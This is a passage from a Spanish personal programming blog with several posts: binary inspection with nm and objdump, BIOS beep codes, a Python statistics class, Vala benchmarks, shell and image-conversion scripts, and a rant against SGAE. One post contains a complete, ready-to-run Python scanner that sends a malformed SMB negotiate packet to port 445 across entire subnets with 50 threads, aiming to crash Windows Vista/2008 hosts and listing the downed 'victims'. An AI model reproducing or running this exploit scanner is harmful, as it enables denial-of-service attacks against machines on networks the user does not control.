Obtener información de Binarios y librerías compartidas (nm/objdump)

nm – Listado de funciones de un objeto

Si queremos obtener un listado de funciones que tiene un código objeto o una librería compartida se utiliza “nm”, que lo descubrí de casualidad.
Este comando lista todos los símbolos que contiene el código objeto o la librería dinámica.
Por ejemplo vamos a crear una librería dinámica con solo una función llamada “factorial”.
Este es el código:

#include <stdio.h>

int factorial(int n)
{
    return n == 0 ? 1 : n * factorial(n-1);
}

Lo compilo así:

gcc factorial.c -o libfactorial.so -shared -fPIC

Ahora analizamos la librería con el comando “nm”:

nm -D libfactorial.so

Obtenemos esto:

         w _Jv_RegisterClasses
00002010 A __bss_start
         w __cxa_finalize
         w __gmon_start__
00002010 A _edata
00002018 A _end
000004c8 T _fini
00000314 T _init
0000044c T factorial

Vemos que nuestro función en código maquina esta en el offset del archivo 0×44c.
Si leemos el man, obtenemos el significado de los símbolos:

Symbol Type Description
A The symbol’s value is absolute, and will not be changed by further linking.
B Un-initialized data section
D Initialized data section
T Normal code section
U Undefined symbol used but not defined. Dependency on another library.
W Doubly defined symbol. If found, allow definition in another library to resolve dependency.

Las funciones T son las linkables, exceptuando “_fini” y “_init” que son funciones comunes a cualquier librería dinámica. (Esto es una suposición mía, aunque muy lógica por otra parte).

Un ejemplo de código de linkado típico:

#include <stdio.h>

int factorial(int n);

int main()
{
 printf("5! = %d\n", factorial(5));
 return 0;
}

Se compila así:

gcc link.c -o link -L. -lfactorial

Y como la librería no esta en una ruta estándar, se ejecutaría así:

export LD_LIBRARY_PATH="." && ./link
5! = 120

Vamos a probar un código que linke dinamicamente, pero en lugar de el fácil “-lname”, lo haré con el dload, que nos sirve de ejercicio para entender como funcionan las librerías dinámicas. El código es el siguiente:

#include <stdio.h> // para fprintf
#include <stdlib.h> // para exit
#include <dlfcn.h>  // para dlopen, dlsym, dlerror, dlclose

int factorial(int n);

int main(int argc, char **argv)
{
 void *lib_handle;
 int (*factorial)(int);
 int x;
 char *error;

 lib_handle = dlopen("libfactorial.so", RTLD_LAZY);
 if (!lib_handle)
 {
 fprintf(stderr, "%s\n", dlerror());
 exit(1);
 }

 factorial = dlsym(lib_handle, "factorial");
 if ((error = dlerror()) != NULL)
 {
 fprintf(stderr, "%s\n", error);
 exit(1);
 }

 x = factorial(5);
 printf("5! = %d\n",x);

 dlclose(lib_handle);
 return 0;
}

El código hay que mirarlo detenidamente, especialmente el puntero a función, pero por lo demás, es sencillo y se autocomenta.
Se compila así:

gcc -rdynamic -o dlopen dlopen.c -ldl

Probamos el ejecutable:

export LD_LIBRARY_PATH="." && ./dlopen
5! = 120

objdump – Desensamblando de binarios

Con este comando podemos obtener el código en ensamblador a partir del código maquina. El comando es el siguiente:

objdump -d libfactorial.so

Si además lo compilamos introduciendo los símbolos de debugeo (parámetro -g), podemos ver el código en ensamblador combinado con el código fuente. Se añadiría el parametro -S:

objdump -d -S libfactorial.so

Ya sabíamos que nuestra función “factorial” estaba en el offset 0×44c, por tanto lo busco en la salida de objdump y pasteo la salida (en este caso, con símbolos de debugeo):

0000044c <factorial>:
#include <stdio.h>

int factorial(int n)
{
 44c:	55                   	push   %ebp
 44d:	89 e5                	mov    %esp,%ebp
 44f:	53                   	push   %ebx
 450:	83 ec 14             	sub    $0x14,%esp
 453:	e8 ef ff ff ff       	call   447 <__i686.get_pc_thunk.bx>
 458:	81 c3 9c 1b 00 00    	add    $0x1b9c,%ebx
    return n == 0 ? 1 : n * factorial(n-1);
 45e:	83 7d 08 00          	cmpl   $0x0,0x8(%ebp)
 462:	74 14                	je     478 <factorial+0x2c>
 464:	8b 45 08             	mov    0x8(%ebp),%eax
 467:	83 e8 01             	sub    $0x1,%eax
 46a:	89 04 24             	mov    %eax,(%esp)
 46d:	e8 f2 fe ff ff       	call   364 <factorial@plt>
 472:	0f af 45 08          	imul   0x8(%ebp),%eax
 476:	eb 05                	jmp    47d <factorial+0x31>
 478:	b8 01 00 00 00       	mov    $0x1,%eax
}
 47d:	83 c4 14             	add    $0x14,%esp
 480:	5b                   	pop    %ebx
 481:	5d                   	pop    %ebp
 482:	c3                   	ret

Con el poco ensamblador que me enseñan en la uni, puedo deducir los siguientes offsets:

45e: Es la comparación de n con 0
462: Si la igualdad anterior se cumple, salta a la línea 44c + 2c = 478
478: Es el interior del IF, iguala el parámetro que viene de la pila con 1. Definiendo 0! = 1
464: Se ejecutaría si la comparación de 45e no se da. Se asigna la vuelta de la recursión
467: Se resta 1 a n
46a: Se prepara e parámetro n-1 en eax, previo a una llamada.
46d: Se hace la llamada recursiva a si mismo.
472: Se multiplica por 8 la vuelta de la recursión.
476: Estamos en el else, por tanto esta jmp se salta el interior del if. 44c + 31 = 47d
47d: De aquí en adelante prepara el return, deja la pila como estaba antes de la llamada y se restaura el IP.

Vamos a hacer algo fácil “crackear”(si se le puede llamar crackeo a esto xD) el programa para cambiar la asignación de:
0!=1 por 0!=4

Por tanto el 5! en lugar de dar 120 va dar 4 veces más, 480.

Para hello abrimos con algún editor de hexadecimal:

ghex2 libfactorial.so

Vamos al OFFSET 479 (478 + 1) y cambiamos el 01 por 04.

Hacemos la prueba de fuego:

export LD_LIBRARY_PATH="." && ./dlopen

Y efectivamente:

5! = 480

OuYeah!


Bueno con esto acabo, este articulo es sobre todo didáctico por lo que si alguno puede completar más el articulo con sus comentarios, se le agradeceremos todos.

Fuentes:
http://www.yolinux.com/TUTORIALS/LibraryArchives-StaticAndDynamic.html
http://unixhelp.ed.ac.uk/CGI/man-cgi?nm
http://node1.yo-linux.com/cgi-bin/man2html?cgi_command=ld
http://node1.yo-linux.com/cgi-bin/man2html?cgi_command=ldconfig

Significado pitados de la placa base

Me apunto aquí una chuleta con los errores del POST de la BIOS. Como sabeis esto cambio dependiendo del desarrollador de la BIOS, pero más o menos esto es un consenso. No obstante iré actualizando cuando no se cumpla:

No hay pitidos No hay suministro electrico o el parlante de sistema esta desconectado o defectuoso
1 pitido corto Arranque normal.
Pitido constante ininterrumpido Falla en el suministro electrico
Pitidos cortos y constantes placa base defectuosa.
1 pitido largo Error de memoria RAM.
RAM Refresh Failure. Los diferentes componentes encargados del refresco de la memoria RAM fallan o no están presentes.
1 pitido largo, 1 corto Fallo general en la placa madre o ROM básica del sistema
1 pitido largo,2 cortos No se encuentra la tarjeta de video, puede estar mal instalada o bien defectuosa.
1 pitido largo, 3 cortos No se encuentra monitor conectado a la tarjeta gráfica.
1 pitido largo, varios cortos Falla relacionada con el video (depende del tipo de tarjeta de video y del la configuración de la bios)
2 pitidos largos y uno corto Falla en la sincronización de imágenes
2 pitidos cortos Error de paridad de memoria. La paridad no es soportada por la placa base.
3 pitidos cortos Fallo de memoria en los primeros 64 Kbytes de la RAM.
4 pitidos cortos El temporizador o contador de la placa base se encuentra defectuoso. El Timer 1 de la placa no funciona.
5 pitidos cortos La CPU ha generado un error porque el procesador o la memoria de vídeo está bloqueada.
6 pitidos cortos El controlador o procesador del teclado (8042) puede estar en mal estado. La bios no puede conmutar en modo protegido. Este error se suele dar cuando se conecta/desconecta el teclado con el ordenador encendido.
7 pitidos cortos La CPU ha generado una interrupción excepcional o el modo virtual del procesador está activo.
8 pitidos cortos El adaptador de vídeo ( tarjeta gráfica) del sistema no existe o su memoria de vídeo (RAM) está fallando. No es un error fatal. Es un fallo de escritura de la Video RAM.
9 pitidos cortos Error de conteo de la Video RAM. El valor del checksum (conteo de la memoria) de la RAM no coincide con el valor guardado en la bios.
10 pitidos cortos El registro de la CMOS RAM falla a la hora de la desconexión.
11 pitidos cortos La memoria caché externa está fallando. En la bios hay una opción llamada video memory cacheable, que lo que hace es volcar el contenido de la ram de la tarjeta en el disco duro. Ponla en enable, haber si soluciona tu problema.
2 pitidos cortos Se ha detectado un error al realizar uno de los tests de hardware.
Pitidos cortisimos, tenues y constantes Posiblemente el teclado provoca este error o bien una tecla presionada durante el arranque.

Programar, para estudiar Estadística

Debido a que estadística es algo que me aburre sumamente, he encontrado un método de aprender entreteniéndome, programarme todos los algoritmos que voy viendo en clase.

He hecho una clase de estadística que dada una distribución en una lista de python y su correspondiente frecuencia absoluta, tambíen dada en otra lista, (obviamente de igual dimensión). Con estos 2 datos de entrada podemos llamar al metodo analisis() que nos mostrará todos los datos típicos de la estadistica descriptiva, desde la media hasta curtosis.

Obviamente puede tener fallos, si los detectais decirlo, no obstante cuando tenga tiempo los pruebo contrastando resultados y actualizo si es necesario.

Tambien metí las formulas de combinatoria en sus 7 combinaciones posibles. (premutacion con/sin rep, variación con/sin rep y combinación con/sin rep y una septima, las permutaciones circulares).

#!/usr/bin/python
# -*- coding: utf-8 -*-
# vim: set fileencoding=utf-8 :
# miércoles, 21 de octubre de 2009

import math
from math import sqrt

##################### GENERAL #############################

def factorial(n):
    if n == 0:
        return 1.0
    else:
        return n * factorial(n-1)

def productorio(lista):
    total = 1.0
    for n in lista:
        total *= n
    return total

def sumatorio(lista):
    total = 0.0
    for n in lista:
        total += n
    return total

##################### COMBINATORIA #############################

'''
Sí entran todos los elementos.
Sí importa el orden.
No/Si se repiten los elementos.
'''
def permu(n, circular = False):
    if circular:
        return factorial(n-1)
    elif isinstance(n,list):
        return factorial(sumatorio(n)) / productorio(map (lambda x:factorial(x),n))
    else:
        return factorial(n)

'''
No entran todos los elementos.
Sí importa el orden.
No/Si se repiten los elementos.
'''
def varia(n, m, repeticion = False):
    if repeticion:
        return n**m
    else:
        return factorial(n) / factorial(n-m)

'''
No  entran todos los elementos.
No importa el orden.
No/Si se repiten los elementos.
'''
def combi(n, m, repeticion = False):
    if repeticion:
        return combi(n+m-1,n)
    else:
        return factorial(n) / (factorial(m) * factorial(n-m))

##################### ESTADISTICA #############################

class MuestraEstadistica:

    def __init__(self, xi, fa):
        self.xi = xi
        self.fa = fa

    def total_muestras(self):
        return sumatorio(self.fa)

    def frec_rel(self):
        fi = []
        muestras = self.total_muestras()
        for i in range(len(self.fa)):
            fi.append(self.fa[i] / muestras)
        return fi

    def frec_acu(self):
        Fa = []
        acumulado = 0.0
        for i in range(len(self.fa)):
            acumulado += self.fa[i]
            Fa.append(acumulado)
        return Fa

    def frec_acu_rel(self):
        fi = self.frec_rel()
        Fi = []
        acumulado = 0.0
        for i in range(len(fi)):
            acumulado += fi[i]
            Fi.append(acumulado)
        return Fi

    def frec_rel_porc(self):
        fi = []
        muestras = self.total_muestras()
        for i in range(len(self.fa)):
            fi.append((self.fa[i] / muestras) * 100)
        return fi

    def moda(self):
        i_max = 0
        for i in range(len(self.fa)):
            if self.fa[i] > self.fa[i_max]:
                i_max = i
        return self.xi[i_max]

    def mediana(self):
        muestras = self.total_muestras()
        valor_mediana = muestras / 2.0
        Fa = self.frec_acu()
        for i in range(len(Fa)):
            if Fa[i] > valor_mediana:
                return self.xi[i]
            elif Fa[i] == valor_mediana:
                return (self.xi[i] + self.xi[i+1]) / 2.0
        return -1

    def cuartiles(self, k):
        muestras = self.total_muestras()
        valor_mediana = (k * muestras) / 4.0
        Fa = self.frec_acu()
        for i in range(len(Fa)):
            if Fa[i] > valor_mediana:
                return self.xi[i]
            elif Fa[i] == valor_mediana:
                return (self.xi[i] + self.xi[i+1]) / 2.0
        return -1

    def percentiles(self, k):
        muestras = self.total_muestras()
        valor_mediana = (k * muestras) / 100.0
        Fa = self.frec_acu()
        for i in range(len(Fa)):
            if Fa[i] > valor_mediana:
                return self.xi[i]
            elif Fa[i] == valor_mediana:
                return (self.xi[i] + self.xi[i+1]) / 2.0
        return -1

    # momento k respecto a ref
    def momento(self, k, ref = 0):
        suma = 0.0
        muestras = self.total_muestras()
        for i in range(len(self.xi)):
             suma += (((self.xi[i]-ref)**k) * self.fa[i])
        return suma / muestras

    def media(self):
        return self.momento(1, 0)

    def varianza(self):
        return self.momento(2, self.media())

    # Coeficiente de asimetría de Fisher
    def asimetria_fisher(self):
        return self.momento(3, self.media()) / self.desviacion_tipica()**3

    def asimetria_pearson(self):
        return (self.media() - self.moda()) / self.desviacion_tipica()

    def asimetria_bowley(self):
        return (self.cuartiles(3) + self.cuartiles(1) - (2*self.mediana())) / (self.cuartiles(3) - self.cuartiles(1))

    def curtosis(self):
        return self.momento(4, self.media()) / self.desviacion_tipica()**4

    def desviacion_tipica(self):
        return sqrt(self.varianza())

    def mostrarInfo(self, titulo, lista):
        print "----- %s --------" % titulo
        t = 0.0
        for d in lista:
            print "%.2f, " % d,
            t += d
        print "Total: %.2f" % t

    def analisis(self):

        Fa = self.frec_acu()
        fi = self.frec_rel()
        Fi = self.frec_acu_rel()
        fi_porc = self.frec_rel_porc()

        self.mostrarInfo('Muestra', self.xi)
        self.mostrarInfo('Frecuencia absoluta', self.fa)
        self.mostrarInfo('Frecuencia absoluta acumulada', Fa)
        self.mostrarInfo('Frecuencia relativa', fi)
        self.mostrarInfo('Frecuencia relativa acumulada', Fi)
        self.mostrarInfo('Frecuencia en porcentaje', fi_porc)

        # valores unicos
        print "-----------------"
        print "Media = %.2f" % self.media()
        print "Moda = %.2f" % self.moda()
        print "Mediana = %.2f" % self.mediana()
        print "Cuartil 1 = %.2f" % self.cuartiles(1)
        print "Cuartil 2 = %.2f" % self.cuartiles(2)
        print "Cuartil 3 = %.2f" % self.cuartiles(3)
        print "Percentil 30 = %.2f" % self.percentiles(30)
        print "Percentil 60 = %.2f" % self.percentiles(60)
        print "Percentil 78 = %.2f" % self.percentiles(78)
        print "Momento 8 respecto la media = %.2f" % self.momento(8, self.media())
        print "Varianza = %.2f" % self.varianza()
        print "Desviacion tipica = %.2f" % self.desviacion_tipica()
        print "asimetria Fisher = %.2f" % self.asimetria_fisher()
        print "asimetria Pearson = %.2f" % self.asimetria_pearson()
        print "asimetria Bowley = %.2f" % self.asimetria_bowley()
        print "Curtosis = %.2f" % self.curtosis()

##################### MAIN #############################

def main():
    xi = [1,2,3,4,5,6]
    fa = [20,40,60,80,100,120]
    s = MuestraEstadistica(xi, fa)
    s.analisis()

if __name__ == '__main__':
    main()

Diferencias: INNER JOIN, FULL OUTER JOIN y LEFT OUTER JOIN

Como sabreis SQL dispone de la sintaxis de JOIN como mejor método para la unión de tablas (aparte del producto cruzado, que apenas se usa por generar resultados de orden cuadrático).

Yo lo tengo claro desde hace unos años, pero recuerdo que fue lioso al principio. He encontrado el link definitivo para explicar todos estos conceptos que mezclan álgebra de Boole, teoría de conjuntos. La explicación es mediante diagramas de Venn:

Explicación visual de JOIN

Un saludo!

Escaner exploit para Windows Vista / 2008

Basandome en un sencillo exploit realizado por Laurent Gaffié, lo he complicado un poco, con el fin de facilitar un poco el testeo de este exploit.
Puede hacer un escaner en redes de tipo B, C o ip única. Realmente NO lo he probado, pero debería funcionar, no obstante irlo probando y lo ire modificando, también lo publicaré en Media-Vida.
Tambien le he metido remesa(pool) de hilos, para evitar tanta espera inútil de I/O.

#!/usr/bin/python
# -*- coding: utf-8 -*-
# vim: set fileencoding=utf-8 :
# Blog:  http://blogricardo.wordpress.com/
# Hecho Ricardo Marmolejo García
# Basado en el exploit de Laurent Gaffié
# Ultimo cambio : miércoles, 10 de septiembre de 2009 12:30
# Licencia: Creative Commons License Deed: Reconocimiento-No comercial-Compartir bajo la misma licencia 3.0 (  http://blogricardo.wordpress.com/licencia/ )

import time
import sys
import threading
from threading import Thread
from Queue import Queue
from socket import socket
from time import sleep

# configuracion
NUM_THREADS = 50
DEBUG = True
TIPO_RED = 'C'                                           # Tipo: 'B', 'C' o '1'

RED_UNICO = '192.168.1.4'
RED_C = "192.168.1.%d"
RED_B = "192.168.%d.%d"

class Pool:
    def __init__(self , numHilos):
        self.cola = Queue()
        self.numHilos = numHilos
        self.lock = False
        self.interrumpido = False
        self.numTrabajos = 0

    def intentarEmpezarTrabajo(self , cola , idWorker , *args):
        while not self.interrumpido:
            if (self.numTrabajos > 0):
                elemento = cola.get()
                self.ejecutar(idWorker , elemento , *args)
                cola.task_done()
                self.numTrabajos -= 1
            else:
                # comprueba si hay tareas cada cierto tiempo
                time.sleep(0.5)

    def estaOcupado(self):
        return self.numTrabajos > 0

    def nuevoElemento(self, elemento):
        self.numTrabajos += 1
        self.cola.put(elemento)

    def empezar(self , args=None):
        if not self.lock:
            self.lock = True

            for idWorker in range(self.numHilos):

                lista_args = []
                lista_args.append( self.cola )
                lista_args.append( idWorker )
                if args != None:
                    for arg in args:
                        lista_args.append( arg )

                worker = Thread(target=self.intentarEmpezarTrabajo, args=lista_args )
                worker.setDaemon(True)
                worker.start()

            # aqui se bloquea hasta que termine
            self.cola.join()

            self.lock = False

    def esLock(self):
        return self.lock

    # metodo para sobreescribir
    def ejecutar(self , idWorker , elemento , *arg):
        print "Debes sobreescribir el método"
        raise NotImplementedError

    def interrumpir(self):
        self.interrumpido = True

# herencia multiple
class PoolNukers(Pool , Thread):

    def __init__(self, numHilos, listaVictimasExito, listaVictimasFracaso):
        Pool.__init__(self , numHilos)
        Thread.__init__(self)
        self.numHilos = numHilos
        self.listaVictimasExito = listaVictimasExito
        self.listaVictimasFracaso = listaVictimasFracaso
        self.TIMEOUT = 10
        self.puerto = 445
        self.buff = (
            "\x00\x00\x00\x90" # Begin SMB header: Session message
            "\xff\x53\x4d\x42" # Server Component: SMB
            "\x72\x00\x00\x00" # Negociate Protocol
            "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
            "\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
            "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
            "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
            "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
            "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
            "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
            "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
            "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
            "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
            "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
            "\x30\x30\x32\x00"
        )

    # cuando el hilo empieza -> empieza la pool de 200 cuervos
    def run(self):
        self.empezar( args=(self.listaVictimasExito,listaVictimasFracaso,) )

    def nuevaVictima(self, victima):
        self.nuevoElemento(victima)

    def ejecutar(self , numHilo , victima, listaVictimasExito, listaVictimasFracaso):

        def estaVivo(victima, puerto):
            try:
                s = socket()
                s.settimeout(3*self.TIMEOUT)
                s.connect((victima,puerto))
                s.send(self.buff)
                s.close()
                return True
            except:
                return False

        try:
            if DEBUG:
                print "Conectando con %s, (timeout de %d segs)" % (victima, self.TIMEOUT)
            s = socket()
            s.settimeout(self.TIMEOUT)
            s.connect((victima,self.puerto))
            if DEBUG:
                print "Enviando cadena a %s" % victima
            s.send(self.buff)
            s.close()

            # Comprobar si sigue vivo
            if DEBUG:
                print "%s ha sido atacado, comrpobando si sigue vivo" % victima

            # le dejamos tiempo para morir
            sleep(10)

            if not estaVivo(victima, self.puerto):
                listaVictimasExito.append(victima)
                if DEBUG:
                    print "Posible exito con %s !!!" % victima
            else:
                listaVictimasFracaso.append(victima)
        except:
            if DEBUG:
                print "Error enviando la cadena a %s" % victima

listaVictimasExito = []
listaVictimasFracaso = []

poolNukers = PoolNukers(NUM_THREADS, listaVictimasExito, listaVictimasFracaso)
if TIPO_RED == 'B':

    # RED TIPO B
    cont = 0
    for i in range(254):
        for j in range(254):
            host = RED_B % (i+1, j+1)
            poolNukers.nuevaVictima(host)
            cont += 1
elif TIPO_RED == 'C':

    # RED TIPO C
    cont = 0
    for i in range(254):
        host = RED_C % (i+1)
        poolNukers.nuevaVictima(host)
        cont += 1
else:

    # 1 única victima
    cont = 1
    poolNukers.nuevaVictima(RED_UNICO)

print "%d victimas potenciales" % cont
poolNukers.start()
poolNukers.join()

if len(listaVictimasExito) > 0:
    print "\n\nHost atacados y PETADOS"
    print "---------------------------------------------"
    for victima in listaVictimasExito:
         print "%s ha petado ;D" % victima
else:
    print "No se ha petado ninguna victima ;("

if len(listaVictimasFracaso) > 0:
    print "\n\nHost atacados pero continuan en pie"
    print "---------------------------------------------"
    for victima in listaVictimasFracaso:
         print "%s sigue en pie ;(" % victima

Foro: Media-Vida

Vala: Eficiencia de C++ y Estilo de C#

Hace tiempo hice mis primeros pinitos en mono, mediante ASP.NET pero como ya puse en ese post, no me terminaba de convencer que las decisiones de la comunidad libre sean inexistentes y quedemos vendidos a mono frente a una política comun en Microsoft: Adoptar, Extender y Extinguir.

Vala es una alternativa a mono iniciada por los desarrolladores de GNOME:
http://live.gnome.org/Vala

Aqui unos benchmarkings, como podeis observar,  su rendimiento comparado con mono es aplastante, y juega en la misma liga que los mismisimos C/C++.

Nombre del benchmarking C++ Mono plain-C Vala
mandelbrot 14.50 54.61 12.39 13.13
partialSums 33.04 56.13 35.00 34.95
recursive 12.94 30.14 8.44 8.72
binaryTrees 27.87 43.87 21.56 30.84
sumFile 17.11 22.89 13.99 15.06
fannkuch 11.46 27.05 11.26 12.44
spectralNorm 32.82 49.82 33.25 33.36
nsieve 25.32 28.03 25.31 25.09

De hecho lo estoy considerando para programar videojuegos, ya que es lo que siempre he deseado, un alto nivel que te ahorra tiempo con eficiencia de código nativo, sin maquinas virtuales. Lo digo por este ejemplo de Vala en OpenGL: http://live.gnome.org/Vala/OpenGLSamples

Como inconveniente, habría que analizar su capacidad de multiplataforma (incluso con KDE).

Por último os pasteo un poco de código de Vala para que veais que se aprende en 2 tardes sabiendo algo de C/C++/C#.

public class NumberGuessing {

    private int min;
    private int max;

    public NumberGuessing (int min, int max) {
        this.min = min;
        this.max = max;
    }

    public void start () {
        int try_count = 0;
        int number = Random.int_range (min, max);

        stdout.printf ("Welcome to Number Guessing!\n\n");
        stdout.printf ("I have thought up a number between %d and %d\n", min, max);
        stdout.printf ("which you have to guess now. Don't worry, I will\n");
        stdout.printf ("give you some hints.\n\n");

        while (true) {
            try_count++;

            stdout.printf ("Try #%d\n", try_count);
            stdout.printf ("Please enter a number between %d and %d: ", min, max);
            int input = stdin.read_line ().to_int ();

            if (number == input) {
                stdout.printf ("Congratulations! You win.\n");
                break;
            } else {
                stdout.printf ("Wrong. The wanted number is %s than %d.\n",
                               number > input ? "greater" : "less", input);
            }
        }
    }

    public static int main (string[] args) {
        var game = new NumberGuessing (1, 100);
        game.start ();
        return 0;
    }
}

Fuente:
http://live.gnome.org/Vala
http://code.google.com/p/vala-benchmarks/wiki/BenchResults

Ignorar mensajes Deprecated/Warnings en Python

Buscando en google una forma de ocultar unos warnings que no hay forma elegante de ocultarlos. Muy típico cuando utilizamos librerías de python que en su día fueron realizadas en python 2.5, y ahora python 2.6 ensucia un poco la salida. Para evitarlo:

#!/usr/bin/python -W ignore::DeprecationWarning

Tambien ayudará esto:

import warnings
warnings.filterwarnings('ignore')

Script para hacer screenshots durante “M” minutos cada “T” segundos

He hecho un script que me ha sido muy útil para monitorear una ventana que no logea por ningun lado.


m=1; T=5; for i in $(seq $[($m*60)/$T]); do import -window root -quality 80 `date +"%d-%m-%Y_%H:%M:%S"`.jpg; sleep $[$T-1]; done;

El script es 1 linea con 2 constantes a variar según las necesidades:
m: Es el número de minutos que va a estar haciendo screenshots
T: Es la frecuencia de screen en segundos.

En el ejemplo durante 1 minuto hace screen cada 5 segundos, por tanto hará 12 screenshots de unos 100KB cada una.

Nota: si no veis bien la linea(se puede copiar entera, pero mi blog la corta), la he subido a pastebin
Nota2: el script no es preciso en el tiempo. Por cada minuto que pongais se puede ir unos segundos arriba o abajo. El error viene de presuponer que se tarda 1 segundo en hacer un screenshot.

Wiithon 1.0 liberado!!

Actualizado: martes, 28 de julio de 2009

Creo que ya es el momento de publicar esta versión de wiithon con un GUI basado en GTK. Un desarrollo que empeze en abril, (trás publicar wiithon 0.98) sin tener apenas expriencia en GTK, gracias a Jose Luis Segura(LK2) y Google, he aprendido lo sufuciente en GTK para llegar al punto en el que estamos.

Sin dar más vueltas os expongo ls partes que va a tener esta presentación:

  1. Características
  2. Descargas
  3. Instalación
  4. Ejecución
  5. Actualización
  6. Traducir wiithon
  7. Agradecimientos.
  8. Team wiithon
  9. Screenshots

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Screenshot wiithon

Cada vez estamos más cerca de una versión estable, hoy llevo toda la tarde probando el buscador y va muy muy fino. (Utilizo un ORM llamado SQlAlchemy que a su vez esta basado el SQLLite).
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“No le deberíamos haber dejado llamar por teléfono” by ladrones=SGAE

Lo que le ha pasado a este chaval esta semana no tiene nombre, sencillamente cada vez que lo pienso me da más asco mi propio país por la simple existencia de la SGAE en él.

La lectura es imprescindible, nunca antes ha pasado algo tan heavy a pesar de su historial, la SGAE a cometido 34535 delitos en este acto (que por supuesto saldrá impune).

En resumen(es muy tarde para escribir): la SGAE se ha hecho pasar por una gente “del juzgado” con una orden judicial que le permitía llevarse sus ordenadores. El chaval un poco dormido permitió la entrada, ya que no supo reaccionar inicialmente, le revisaron todos los ordenadores e incluso intentaron acceder en ordenadores de otros familiares de los cuales la victima de la SGAE no sabía la contraseña, pues bien los “jueces” trataran un mini fuerza bruta sobre el ordenador de su hermano, en frente de sus narices, sin exito por supuesto. Por suerte antes de que siguieran tocando sus ordenadores, les pidio llamar a David bravo, le conto todo y tras una acalorado conversación pidio que se marcharan de su casa, sin ordneadores por supuesto. Como colofón final, la secretaría antes de irse y subestimando a esta persona, como si fuera un ignorante del derecho de las personas, le dijo “No TE deberíamos haber dejado llamar al abogado”. !!!!!!!!!  en fin me hierve la sangre.

Estamos cansado de dar argumentos por los cuales debe desaparecer la SGAE. Es una locura mantener esta situación y yo de corazón estoy hasta los cojones.

El autor del suceso lo cuenta mejor en su blog:

http://blog.grupoet.com/?p=54

Esta persona que antes he llamado victima se llama Juan José Coronel Carrasco, y ahora más que nunca todos los internautas debemos apoyarle a él, y a cualquier iniciativa para conseguir destruir la SGAE.

ÁNIMO JUAN JOSÉ, ESTAMOS CONTIGO!

Script para ripear imagenes masivamente* (Actualizado)

Ultima modificación: jueves, 28 de mayo de 2009

Necesitaba ripear unas 5000 imagenes en el curro, en cada una de ellos necesitaba pasarlo de TIFF a JPG y fijar el ancho a 800 y alto libre manteniendo aspect ratio.

Me he hecho este script cuyo uso simplemente es pasar todos las carpetas que vamos a trabajar como parametros. Por ejemplo:

Uso: ripearImagenes CARPETA1 CARPETA2 CARPETA3 … CARPETAN

Escribiendo ripearImagenes sin parametros es equivalente a pasar el directorio actual como primer parametro.

Simplemente gedit ripearImagenes y pasteamos, además podeis poneros el script en algún directorio “PATHeado” (evidentemente, esto ultimo es opcional xD):

#!/usr/bin/python

#
# :: Invasion Tux
# :: Ultima modificacion : jueves, 28 de mayo de 2009
# :: Script realizado por makiolo (makiolo@gmail.com) (Licencia Creative Commons con reconocimiento)
# :: Ultima version : http://blogricardo.wordpress.com/2009/05/15/script-para-ripear-imagenes-masivamente/
# :: Dependencias : python , convert
#

import os,sys,glob,subprocess,shutil

######### CONFIGURACION ##############

SUFIJO = "_RIPEADO"
DESTINO = ".png"
ANCHO = 2000
FORMATOS_VALIDOS = ["jpg","gif","png","tif"]

######################################

def getExtension(fichero):
	posPunto = video.rfind(".")
	return fichero[posPunto+1:len(fichero)]

def extensionEsValida(fichero):
	posPunto = video.rfind(".")
	if posPunto != -1:
		extension = getExtension(fichero)
		try:
			FORMATOS_VALIDOS.index(extension)
			return True
		except ValueError:
			return False
	else:
		return False

def getNombreRipeado(fichero):
	return fichero+SUFIJO+DESTINO

def getCarpetaRipeados( dir_inicial ):
	return "%s_RIPEADOS" % ( os.path.basename(dir_inicial) )

def existeRipeado(fichero):
	return os.path.exists(getNombreRipeado(fichero))

def ripear(fichero):
	ret = subprocess.call('convert "%s" -quiet -resize %d "%s"' % ( fichero , ANCHO , getNombreRipeado(fichero) ) , shell=True)
	return ret == 0

def ripearTodo( carpeta ):
	imagenes = []
	for extension in FORMATOS_VALIDOS:
		imagenes += glob.glob("*."+extension)
	borradas = 0
	copia = []
	lenFinal = len(SUFIJO+DESTINO)
	for imagen in imagenes:
		if(imagen[-lenFinal:] != SUFIJO+DESTINO):
			if os.path.isfile(imagen):
				copia.append(imagen)
		else:
			os.remove( imagen )
			borradas = borradas + 1
	print "+ Borradas %d imagenes ripeadas" % (borradas)

	total = len(copia)
	print "+ Ripeando %d imagenes: " % total
	i = 1
	for imagen in copia:
		print "  - Ripeando %d de %d\r" % (i , total),
		sys.stdout.flush()
		if ripear(imagen):
			shutil.move( getNombreRipeado(imagen) , carpeta)
		else:
			print "Error ripeando %s. Posiblemente no sea una imagen." % (imagen)
		i+=1

def App():
	try:
		if len(sys.argv) == 1:
			sys.argv.append(".")
		dir_inicial = os.getcwd()
		for parm in sys.argv:
			if parm != sys.argv[0]:
				if (os.path.isdir(parm)):
					carpeta = getCarpetaRipeados( dir_inicial )
					if not os.path.exists(carpeta):
						os.mkdir(carpeta)

					parm = os.path.abspath( parm )
					carpeta = os.path.abspath( carpeta )
					os.chdir(parm)
					print "Trabajando %s" % parm
					ripearTodo( carpeta )
					os.chdir( dir_inicial )
				else:
					print '"%s" no es un directorio' % parm
	except KeyboardInterrupt:
		print "ancelado por el usuario"

if __name__ == '__main__':
	App()

Laberinto TD, ganador del MobiGame 2009 !!!

Este es el primer año que me presento al MobiGame e incluso que aprendo J2ME como ya dije en “Aprendiendo J2ME para el MobiGame“, aunque si que he trasteado mucho con J2SE (tengo un juego Java tipo Worms por hay subido que  hice con 14 tacos y ahora tengo 23).

